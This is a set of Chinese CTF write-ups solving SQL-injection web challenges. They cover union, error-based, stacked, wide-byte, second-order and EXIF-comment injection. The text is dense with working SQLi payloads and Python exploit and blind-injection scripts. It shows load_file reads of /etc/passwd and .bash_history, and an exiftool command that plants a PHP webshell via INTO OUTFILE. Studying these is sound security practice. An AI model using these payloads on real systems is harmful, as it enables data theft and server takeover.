联合查询注入

极客大挑战—LoveSQL

解题核心 ———————- group_concat()

经过union测试发现有3个字段,并且2,3字段可查询,2字段查询结果看不清,用第3字段

查数据库:

1' union select null,null,group_concat(schema_name) from information_schema.schemata ;#

查表:

1' union select null,null,group_concat(table_name) from information_schema.tables;#

查列:

1' union select null,null,group_concat(column_name) from information_schema.columns;#

最后password对应的表名应该是前面查询表名最后一个

查l0ve1ysq1表最后一列的字段内容:

1' union select null,null,group_concat(password) from l0ve1ysq1;#

最终得到flag

极客大挑战—BabySQL

解题核心—————–双写绕过

详细见CSDN上大佬的文章,另外附上文章的HTML文档

解题方法和上一个题目的差不多,只是这次多了个双写绕过

查库:

1' uniunionon seselectlect null,null,group_concat(schema_name) frfromom infoorrmation_schema.schemata ;#

查表:

1' ununionion seselectlect null,null,group_concat(table_name) frfromom infoorrmation_schema.tables;#

查列:

1' ununionion seselectlect null,null,group_concat(column_name) frfromom infoorrmation_schema.columns;#

查字段,反复尝试后发现flag在表b4bsql中的password列

1' ununionion seselectlect null,null,group_concat(passwoorrd) frfromom b4bsql;#

得到flag

2019SWPU—Web1

解题核心—————–无列名查询

测试后发现登录界面做了严密的防注入措施,于是注册账号

登录后可申请发布广告

广告申请界面:

随便申请一个后首页显示:

广告详情:

在广告申请界面测试后发现存在SQL注入

配合union查询查列数:

-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/&&/**/'1'='1

注:

  • 过滤了–+和#,故闭合最后的单引号
  • 过滤了空格用/**/分离参数

有22列,由广告详情界面显示可知,第2,3列可注入

查数据库库,数据库版本

-1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
-1'/**/union/**/select/**/1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

查表:

-1'/**/union/**/select/**/1,2,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

注:

  • 此处利用无列名注入
  • 过滤了information_scheam库的查询,故使用其它库进行查询,此题场景为buuctf上的复现题目,用到mysql库中的mysql.innodb_table_stats表(mysql在5.5.x版本后,默认使用innodb作为存储引擎),比赛时原题可用sys库中的sys.schema_auto_increment_columns表进行查询(mysql版本>5.7时,新增了sys数据库,基础数据来自于performance_chema和information_schema两个库,但是本身数据库不存储数据),查询语句和上面的一样
  • 参考:官方文档
  • 参考:聊一聊bypass information_schema
  • 参考:概述MySQL统计信息

查列

-1'union/**/select/**/1,(select/**/1,2,3/**/union/**/select*from/**/users),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

注:无列名注入查询users表有3列,(测试时当查询users列数正确时会报不同的错误)

列数错误时:

然后再配合无列名注入注出user表中的flag

-1'union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

报错注入

极客大挑战—HardSQL

解题核心—————–报错注入,异或(^)注入,like绕过,左右拼接

经过测试发现过滤了:空格,=,order by,union,and

用^异或操作代替union,用updatexml()或extractvalue()报错注入,以下均使用extractvalue()函数

查库:

1'^extractvalue(1,concat(1,(select(group_concat(database())))));#查当前数据库
1'^extractvalue(1,concat(1,(select(group_concat(schema_name))from(information_schema.schemata))));#查所有数据库

这里为什么没有显示当前geek数据库有点纳闷,可能是这个查询屏蔽了geek数据库

查表(like代替=进行查询):

1'^extractvalue(1,concat(1,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like'geek'))));#查geek数据库下的表

查列:

1'^extractvalue(1,concat(1,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like'H4rDsq1'))));#

查字段(限制了显示的字符串数,利用left(),right()查询):

1'^extractvalue(1,concat(1,(select(left(password,30))from(H4rDsq1))));#查左边

1'^extractvalue(1,concat(1,(select(right(password,30))from(H4rDsq1))));#查右边

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

直接看关键代码,change.php中:

<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = addslashes($_POST["address"]);
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单修改成功";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>

address并没有过滤黑名单,只使用了一个addslashes函数限制,在update的时候,直接将address取出来将其置为old_address,造成二次注入,并且后面有print_r($db->error);将报错信息打印出来,于是利用报错注入,payload如下:

POST /change.php HTTP/1.1
Host: 1251682b-93a6-4e1c-af18-c5847f900f36.node3.buuoj.cn

user_name=admin&phone=111&address=1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#



POST /change.php HTTP/1.1
Host: 1251682b-93a6-4e1c-af18-c5847f900f36.node3.buuoj.cn

user_name=admin&phone=111&address=1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),20,50)),0x7e),1)#

[RCTF2015]EasySQL

打开题目发现有登录注册两个界面

注册界面的username过滤了一些关键字,空格,and,or等

注册一个用户进去后有一个修改密码的功能,尝试注册admin\用户,再登录后修改密码,发现有sql语法报错,于是想到二次注入和爆错注入

payload:admin"||(extractvalue(1,concat(1,(reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('f')))))))#

exp:

import requests

url = "http://5b2274a0-d780-4303-be2b-eb6066366015.node3.buuoj.cn/"
payload1 = '''Extrader"||(extractvalue(1,concat(1,((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('f'))))))#'''
payload2 = '''Extrader"||(extractvalue(1,concat(1,(reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('f')))))))#'''
r = requests.session()


def reg(payload):
    data = {
        "username": payload,
        "password": 123456,
        "email": "Extrader"
    }
    r.post(url=url + "register.php", data=data)


def log(payload):
    data = {
        "username": payload,
        "password": 123456,
    }
    r.post(url=url + "login.php", data=data)


def chapwd():
    data = {
        'oldpass': 123456,
        'newpass': 123456,
    }
    e = r.post(url=url + "changepwd.php", data=data)
    print(e.text)


if __name__ == "__main__":
    reg(payload1)
    log(payload1)
    chapwd()
    reg(payload2)
    log(payload2)
    chapwd()

需要注意flag不在flag表中,在users表中,报错回显有长度限制,过滤了left和right,利用reverse将结果逆序输出可得到flag

堆叠注入

2020ichunqiu新春公益赛—blacklist

这个题目可参考 [强网杯 2019]supersql

不过这题过滤的东西要多一些,常用的两种方法:

预编译注入绕过关键词:set、prepare

改表名使flag所在的数据库变为题目查询的数据库:rename 、alter

都被过滤用不了了

这里就用到了mysq的新特性handler

1';handler FlagHere open as cool;handler cool read first;handler cool read next;#

通过以上语句可以得到flag,(比赛的时候没做出来,赛后没来得及看这题,早在一个多月前学长在群里发过这个新特性,当时太菜看不懂,现在想想可惜了 -.-)

2019SUCTF—EasySQL

解题核心

  • 堆叠注入
  • *的使用
  • sql_mode 的应用

听说比赛的时候泄露了源码:

<?php
    session_start();

    include_once "config.php";

    $post = array();
    $get = array();
    global $MysqlLink;

    //GetPara();
    $MysqlLink = mysqli_connect("localhost",$datauser,$datapass);
    if(!$MysqlLink){
        die("Mysql Connect Error!");
    }
    $selectDB = mysqli_select_db($MysqlLink,$dataName);
    if(!$selectDB){
        die("Choose Database Error!");
    }

    foreach ($_POST as $k=>$v){
        if(!empty($v)&&is_string($v)){
            $post[$k] = trim(addslashes($v));
        }
    }
    foreach ($_GET as $k=>$v){
        }
    }
    //die();
    ?>

<html>
<head>
</head>

<body>

<a> Give me your flag, I will tell you if the flag is right. </ a>
<form action="" method="post">
<input type="text" name="query">
<input type="submit">
</form>
</body>
</html>

<?php

    if(isset($post['query'])){
        $BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
        //var_dump(preg_match("/{$BlackList}/is",$post['query']));
        if(preg_match("/{$BlackList}/is",$post['query'])){
            //echo $post['query'];
            die("Nonono.");
        }
        if(strlen($post['query'])>40){
            die("Too long.");
        }
        $sql = "select ".$post['query']."||flag from Flag";
        mysqli_multi_query($MysqlLink,$sql);
        do{
            if($res = mysqli_store_result($MysqlLink)){
                while($row = mysqli_fetch_row($res)){
                    print_r($row);
                }
            }
        }while(@mysqli_next_result($MysqlLink));

    }

    ?>

mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。有这个函数即可想到利用堆叠注入

sql_mode 是一组mysql支持的基本语法及校验规则

mysql中sql_mode值举例:

STRICT_TRANS_TABLES:

mysql存储引擎的概念
innodb存储引擎(oltp系统)
myisam存储引擎(非实时交易)
对于innodb存储引擎来说当设置sql_mode有该值是,当发现插入数据无法正常插入,会报错,并且回滚所有参数(加入一个插入操作往数据表中插入10行数据,但是在第五行数据不能插入,此时会终止插入操作并且会回滚插入成功的数据)
对于myisam存储引擎:当插入数据是第一行无法插入时,报错并且回滚插入数据当插入的数据不是第一行无法插入时,此时mysql数据库会将无法插入的值转换为近似值或者发生隐式类型转换,并且不会报错

STRICT_ALL_TABLES:

对于innodb存储引擎作用一致
对于myisam存储引擎:当插入不是第一行报错时,会将报错之前的数据保留,终止之后的插入操作

NO_ENGINE_SUBSTITUTION:

当存储引擎被禁止或者未解析时,当使用时会报错

only_for_group_by:

当select字句中出现的单独列没有出现在group by字句中,此时就会报错

NO_AUTO_CREATE_USER:

禁止创建密码为空的用户

NO_ZERO_IN_DATE:

在严格模式下,不允许日期和月份为零

NO_ZERO_DATE:

设置该值,mysql数据库不允许插入零日期,插入零日期会抛出错误而不是警告

ERROR_FOR_DIVISION_BY_ZERO:

在INSERT或UPDATE过程中,如果数据被零除,则产生错误而非警告。如果未给出该模式,那么数据被零除时MySQL返回NULL

NO_AUTO_CREATE_USER:

禁止GRANT语句创建密码为空的用户

PIPES_AS_CONCAT:

将“||”视为字符串的连接操作符而非或运算符,这和Oracle数据库是一样的,也和字符串的拼接函数Concat相类似(本题要点)

ANSI_QUOTES:

启用ANSI_QUOTES后,不能用双引号来引用字符串,因为它被解释为识别符

于是有注入语句:

1;set sql_mode=PIPES_AS_CONCAT;SELECT 1

拼合起来就是:

select 1;set sql_mode=PIPES_AS_CONCAT;SELECT 1||flag from Flag

此时的select 1||flag from Flag就等同于select 1 from Flag和select flag from Flag的拼合

另外还有一个解就是*的用法:

注入:

*,1

拼合起来就是:

select *,1||flag from Flag

*为查询所有,此时的select *,1||flag from Flag就等同于select * from Flag

2019强网杯—supersql

解题核心——————堆叠注入;详见大佬博客:SQL注入-堆叠注入

由题意,得知这应该是一个sql注入的题目,点进去界面如下:

刚开始用SQLMap测试了一下,发现好像没啥用,于是按开F12

嗯,确实,一个工具有啥灵魂O.O

测试单引号

1'

接着测试注释:

1'--+

被过滤掉了

1'#

#有效

尝试注入sql查询等语句,提示被过滤

于是就用到前面提到了堆叠注入

首先列出所有数据库:

1';show databases;#

列出所有表:

1';show tables;# 

列出表words中的所有列:

1';show columns from words;#

列出表1919810931114514中所有的列:

1';show columns from `1919810931114514`;#

注意:字符串为表名操作时要加反引号!!!

由展示的结果发现输入查询的结果是一个数字和一个字符串,是表words中的id和data结构,服务器是把inject的数值赋给id来查询表words中的数据

这题没有禁用rename和alter

可采用修改表结构的方法来得到flag,将words表名改为words1,再将数字名表改为words,这样数字名表就是默认查询的表了,但是它少了一个id列,可以将flag字段改为id,或者添加id字段

rename用来修改表名

用法rename命令格式:rename table 原表名 to 新表名;

alter用来删除,添加或修改表字段

常用的语法格式如下:ALTER TABLE <表名> [修改选项]

1';rename table `words` to `words1`;rename table `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#

上段注入语句的意思是将表words的名字修改为words1,把包含flag表1919810931114514的名字改成words,这样就可以通过服务器查询表1919810931114514中的内容了,但是flag表中含有少一个id列,于是可以在表中添加一个后者将flag列改为id,上面用到的是改flag列名字为id的方法,下面给出添加id列的方法:

1';rename table `words` to `words1`;rename table `1919810931114514` to `words`; alter table `words` add `id` varchar(100);#

最终得到flag:

宽字节注入

2020ichunqiu新春公益赛—easysqli_copy

参考1参考2

界面代码:

<?php 
    function check($str)
    {
        if(preg_match('/union|select|mid|substr|and|or|sleep|benchmark|join|limit|#|-|\^|&|database/i',$str,$matches))
        {
            print_r($matches);
            return 0;
        }
        else
        {
            return 1;
        }
    }
    try
    {
        $db = new PDO('mysql:host=localhost;dbname=pdotest','root','******');
    } 
    catch(Exception $e)
    {
        echo $e->getMessage();
    }
    if(isset($_GET['id']))
    {
        $id = $_GET['id'];
    }
    else
    {
        $test = $db->query("select balabala from table1");
        $res = $test->fetch(PDO::FETCH_ASSOC);
        $id = $res['balabala'];
    }
    if(check($id))
    {
        $query = "select balabala from table1 where 1=?";
        $db->query("set names gbk");
        $row = $db->prepare($query);
        $row->bindParam(1,$id);
        $row->execute();
    }

$db->query("set names gbk");这个语句构成了宽字节注入,即可以利用%d5'闭合单引号形成宽字节注入,闭合单引号后后面的语句就是可控的了,所以后面只需要构造注入语句绕过waf即可,过滤的绝大多数字符,于是这里使用prepare预编译注入

格式:set @a=执行的语句;prepare ctftest from @a; execute ctftest;,该格式支持十六进制编码和ascii编码注入,于是就可以进行绕过

于是就可以用该预编译注入+延时注入+布尔盲注来爆出所有内容

爆列Payload:select if(ascii(mid((select group_concat(column_name,'') from information_schema.columns where table_name='table1'),{},1))= {},sleep(3),1)

爆字段payload:select if(ascii(mid((select group_concat(fllllll4g,'') from table1),{},1))= {},sleep(3),1)

写出盲注脚本:

import requests
url = "http://8e2a5a61db69418f8ebe1c973c4bdecfa176617cfa094611.changame.ichunqiu.com/?id="
def str_to_hex(s):
    return ''.join([hex(ord(c)).replace('0x', '') for c in s])
for i in range(1,100):
    for j in range(45,128):
        d = "(This is Payload)".format(i,j)
        payload = str_to_hex(d)
        a = "%df%27;set @a=0x{};prepare a from @a; execute a;".format(payload)
        r = requests.get(url+a)
        if r.elapsed.total_seconds()>1:
            print(chr(j),end='')
            break

得到table1表中的列:balabala,eih@y,fllllll4g,bbb,最终在fllllll4g列中得到flag

安恒杯-新春祈福赛—BabySqliv2.0

解题核心—————–异或注入,报错注入,宽字节注入

界面的上题一样,发现只要用admin账号登录,无论用什么密码都能登录进去,登进去后界面如下

于是在登录界面测试,单引号注入无效,猜测转义了单引号,利用宽字节注入,果不其然,于是利用报错注入

文章参考:简析GXY_CTF “BabySqli v2.0”宽字节注入

报错注入有三种方法:floor(),extractvalue(),updatexml(),这里采用extractvalue()报错注入:

查库:

1%d5'^extractvalue(1,concat(1,(seselectlect(group_concat(database())))));--+

查表:

1%d5'^extractvalue(1,concat(1,(selselectect(group_concat(table_name))from(information_schema.tables)whewherere((table_schema)=database()))));--+

由此可知flag应该在f14g中

查字段:

1%d5'^extractvalue(1,concat(1,(selselectect(group_concat(column_name))from(information_schema.columns)whwhereere((table_name)=char(102,49,52,103)))));--+

注:这里应该是过滤了列的直接查询,用char()函数进行绕过即可

解密MD5值后为id

id列查询:

1%d5'^extractvalue(1,concat(1,(selselectect group_concat(b80bb7740288fda1f201890375a60c8f) from f14g)))--+

还真全是id了,看大佬博客后发现居然还可以盲猜flag???

flag的MD5值为327a6c4304ad5938eaf0efb6cc3e53dc

flag列查询:

1%d5'^extractvalue(1,concat(1,(selselectect concat(327a6c4304ad5938eaf0efb6cc3e53dc) from f14g)))--+

base64解密后为“The first man name was k”。。。。。。。。。。

配合limit进行查询,在limit 22,1处发现flag

1%d5'^extractvalue(1,concat(1,(selselectect concat(327a6c4304ad5938eaf0efb6cc3e53dc) from f14g limit 22,1)))--+

解码后只显示前面的flag,应该是前端界面限制了字符串的显示

于是用到substr()函数进行字符串的截取:

1%d5'^extractvalue(1,concat(1,substr((selselectect concat(327a6c4304ad5938eaf0efb6cc3e53dc) from f14g limit 22,1),10,32)))--+

去掉相同的拼合起来base64解码后即可得到flag

二次注入

网鼎杯 2018—Comment

上来先扫描一波,扫到了.gitindex.phplogin.phpgit源码泄露,用Githack工具进行恢复

发现case后的直接break了,什么操作都没有,估计这份代码不全,使用git进行恢复

image-20200509161519874

找到历史commit版本,进行代码恢复,得到最终write_do.php源码

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

write操作对应发帖,comment操作对应评论操作,但是在进行这些操作的前提是要登录上,于是我们看到登录界面:

两个提示似乎在暗示这什么,于是对密码的三个*出处进行爆破,得到密码zhangwei666成功登录,来到发帖界面,首先我们看发帖操作,用addslashes函数对参数进行了过滤,说到addslashes引发的安全问题可以查看这篇文章:https://bbs.ichunqiu.com/thread-10899-1-1.html

里面介绍了绕过addslashes函数的方法,但在这里似乎用不到,仔细观察代码,addslashes函数限制了我们对一些特殊符号的操作,使得sql语句能够正常的执行,但并没有改变插入到数据库中的数据,测试如下

可以看到并不会改变存入数据库中的内容,查询出里面的结果也是一样,于是我们再看到commit操作,里面的mysql_fetch_array函数在数据库中取出category字段中的内容,然后再直接进行了insert into存入评论数据的操作操作传入的参数category我们可,后面的content参数我们也可控于是就可以进行如下操作:

先传入category字段的值为a',content=(select user()),/*,前面的单引号虽然在存入数据库的过程中被转义了,但是数据库中华存的依旧是用来的内容,后面的取出来的时候也会将单引号原封不动的取出来,在进行commentinsert into操作时候,就会闭合前面的单引号,从而达到注入的目的,然后跟上的content值当然就是要进行sql注入查找数据的操作,然后再接上/*,这样我们后面再评论页面进行评论的时候传入*/#就能成功的和前面的闭合起来,总payload如下:

insert into comment set category = 'a',content=(select user()),/*',content = '*/#',bo_id = '$bo_id'";

得到回显:

尝试写马无果,应该是权限不够,然后再ctf数据库查到三个表board,comment,user

user表中有如下列

id,username,password,Host,User,Password,Select_priv,Insert_priv,Update_priv,Delete_priv,Create_priv,Drop_priv,Reload_priv,Shutdown_priv,Process_priv,File_priv,Grant_priv,References_priv,Index_priv,Alter_priv,Show_db_priv,Super_priv,Create_tmp_table_priv,Lock_tables_priv,Execute_priv,Repl_slave_priv,Repl_client_priv,Create_view_priv,Show_view_priv,Create_routine_priv,Alter_routine_priv,Create_user_priv,Event_priv,Trigger_priv,Create_tablespace_priv,ssl_type,ssl_cipher,x509_issuer,x509_subject,max_questions,max_updates,max_connections,max_user_connections,plugin,authentication_string

board表中有如下列

id,category,title,content

comment表中有如下列

id,bo_id,category,content

经过一番查找后并没有发现存在flag的内容,看来flag并没在数据库中,不在数据库中那只能在文件中了,于是进行文件读取操作,根目录下并没有flag,于是我们左试右试都没发现flag,于是读取/etc/passwd

a',content = load_file('/etc/passwd'),/*

/etc/passwd文件描述参考:Linux passwd 文件详解

注意到最后一行,www:x:500:500:www:/home/www:/bin/bashwww用户在/home/www的目录下进行了/bin/bashshell操作,于是我们利用.bash_history查找用户使用过的历史命令

a',content = load_file('/home/www/.bash_history'),/*

可以到进行了如上操作,切换到/tmp目录下,解压html.zip的压缩包,删除压缩包,复制html目录及其子目录到/var/www/html目录下,然后删除了.DS_Store文件,开启Apache服务

  • .DS_Store:Mac OS 保存文件夹的自定义属性的隐藏文件

这个过程看上去没毛病,但是中间漏了一点,/tmp目录下了html文件夹中的.DS_Store文件并没用被删除,于是我们尝试读取这个文件,直接读取在页面上回显并不完全

于是通过hex方式进行读取

a',content = hex(load_file('/tmp/html/.DS_Store')),/*

得到一长串十六进制数字,放到网站上转文本

可以看到应该存放flag的文件,进行读取

a',content = load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'),/*

成功拿到flag

其它

安恒杯-新春祈福赛—BabySqli

解题核心—————–MD5绕过

题目给出的提示:

随便登录后在前端HTML中都能看到这样一串字母

<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->

base32解码后得到

c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==

base64解码后得到

select * from user where username = '$name'

sqlmap测试后可以得到admin的密码MD5值,找不到原码

于是参考MD5绕过,参考:简析GXY_CTF “BabySqli v1.0″绕过md5比较

利用以下注入语句

name: admin' And 1>2 union select '1','admin','c4ca4238a0b923820dcc509a6f75849b
pw: 1

注:

  • 根据得到的sql后台查询语句,需要用单引号闭合,故最后不用加单引号
  • union select后的查询当字符串使用需要加单引号,当然数字可以不加单引号
  • 过滤了and可以用大写And绕过
  • 1 的MD5值为c4ca4238a0b923820dcc509a6f75849b

于是当前面的语句And 1>2永不成立,联合查询后面的语句就会在数据库中查询显示出来

于是这时输入password=1即可绕过查询得到flag

36D—WEB_你没见过的注入

robots.txt拿到可以直接重置管理员密码的界面pwdreset.php,然后再从前台登录进去,发现是一个文件上传的页面main.php, 界面没有做什么上传限制,但是在上传上去之后会跳转到显示文件列表的界面filelist.php,后台将文件名和后缀都改了,文件名应该是md5加盐后得到的一串字符串,后缀为zip文件,并且可以将文件直接下载下来,下载下来后压缩包打不开,用文本编辑器打开后里面的内容就是我们上传上去文件的内容,后台将其的名字和后缀都改了,测试绕过,无果

参考:你没见过的注入

再看到文件列表显示的界面:

除了文件名之外后面还有一串类似文件格式一样的东西,详见上面大佬的博客吧,这里给出解题步骤:

这里考的是EXIF信息中comment字段注入,这个字段会存入数据库,finfo->file()再在后面输出这个信息,造成了sql注入漏洞,先去网上下载一个exiftool工具 ——> https://exiftool.org/

可以编辑图片的的EXIF信息

payload:

./exiftool -overwrite_original -comment="y1ng\"');select 0x3C3F3D60245F504F53545B305D603B into outfile '/var/www/html/1.php';#" 1.jpg

hex(<?=$_POST[0];)=0x3C3F3D60245F504F53545B305D603B

然后直接上传到网站上去就可以拿shell了(这里png图片无效,不知道为啥)

Hack.lu-2017-FlatScience

界面:

这个网站有很多的pdf文件可以下载,暂时没有什么线索

访问robots.txt得到login.phpadmin.php两个登录界面,admin.php源码存在hint:do not even try to bypass thislogin.php源码也存在TODO: Remove ?debug-Parameter!,于是访问/login.php?debug得到login.php的源码:

<?php
ob_start();
?>
..................(HTML)
<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){
        $user = $_POST['usr'];
        $pass = $_POST['pw'];

        $db = new SQLite3('../fancy.db');
        
        $res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
    if($res){
        $row = $res->fetchArray();
    }
    else{
        echo "<br>Some Error occourred!";
    }

    if(isset($row['id'])){
            setcookie('name',' '.$row['name'], time() + 60, '/');
            header("Location: /");
            die();
    }

}

if(isset($_GET['debug']))
highlight_file('login.php');
?>
................(HTML)

可以看到用的是SQLite数据库,并且可直接查询,未经过过滤,但是密码进行了加密,先看看里面有什么东西,网上查sqlite的语法,和其它数据库大同小异,过程如下:

查表:

usr=1' union select name,name FROM sqlite_master WHERE type='table' limit 0,1--+&pw=111 

查表名及其对应的结构:

usr=1' union select name,sql FROM sqlite_master WHERE type='table' limit 0,1--+&pw=111

得到:CREATE TABLE Users(id int primary key,name varchar(255),password varchar(255),hint varchar(255)),可以看到有一个hint字段

再将内容查询出来:

usr=1' union select name,(id/name/password) FROM Users limit (0/1/2),1--+&pw=111
1,admin,3fab54a50e770d830c0416df817567662a9dc85c,my fav word in my fav paper?!
2,fritze,54eae8935c90f467427f05e4ece82cf569f89507,my love is…?
3,hansi,34b0bb7c304949f9ff2fc101eef0f048be10d3bd,the password is password

表中只有以上三行字段内容,根据hint可知,应该是要在fav paper中找到一个词+Salz之后sha1得到的值为34b0bb7c304949f9ff2fc101eef0f048be10d3bd,这个单词应该就是admin的密码,应该就在前面的那些paperpdf文件里,于是用wget命令将其全都下载下来:

wget http://124.126.19.106:43631/ -r -np -nd -A .pdf

再用脚本遍历所有pdf文件中的单词

from io import StringIO
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
from pdfminer.converter import TextConverter
from pdfminer.layout import LAParams
from pdfminer.pdfpage import PDFPage
import sys
import string
import os
import hashlib


def get_pdf():
    return ["../FlatScience/" + i for i in os.listdir("../FlatScience/") if i.endswith("pdf")]


def convert_pdf_2_text(path):
    rsrcmgr = PDFResourceManager()
    retstr = StringIO()
    device = TextConverter(rsrcmgr, retstr, laparams=LAParams())
    interpreter = PDFPageInterpreter(rsrcmgr, device)
    with open(path, 'rb') as fp:
        for page in PDFPage.get_pages(fp, set()):
            interpreter.process_page(page)
        text = retstr.getvalue()
    device.close()
    retstr.close()
    return text


def find_password():
    pdf_path = get_pdf()
    # print(pdf_path)
    for i in pdf_path:
        print("Searching word in " + i)
        pdf_text = convert_pdf_2_text(i).split(" ")
        for word in pdf_text:
            sha1_password = hashlib.sha1((word + "Salz!").encode()).hexdigest()
            if sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c':
                print("Find the password :" + word)
                exit()


if __name__ == "__main__":
    find_password()

最后跑出passwordThinJerboa,在admin.php登录即可得到flag